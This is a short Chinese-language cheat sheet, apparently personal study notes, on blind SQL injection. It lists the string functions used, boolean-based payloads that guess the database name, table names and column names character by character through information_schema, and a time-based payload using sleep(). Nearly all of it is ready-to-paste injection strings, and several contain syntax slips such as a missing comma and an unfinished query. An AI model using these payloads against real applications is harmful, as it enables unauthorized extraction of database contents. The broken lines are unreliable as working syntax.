使用到的函数
length('string')
ascii('c')
substr('string',1,1)截取字符串裡面的字符,從第一位開始,截取一個字符
布尔盲注
使用二分法猜长度,再使用ascii猜字符
id=1 ' and length(database ())>10 --+猜出来长度
然后根据长度依次猜单个字符
获取数据库名
id =1 ' and ascii(substr(database(),1,1))>100 --+
id=1' and substr(database (),1,1)=='a' --+
获取表名
length()
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)1,1))>100 --+
获取列名
select column_name from information_schema.columns where
用布尔盲注得不到反馈时,尝试使用时间盲注
时间盲注,条件判断
例:
id=1' if (length(database ())<10,sleep(10),1)--+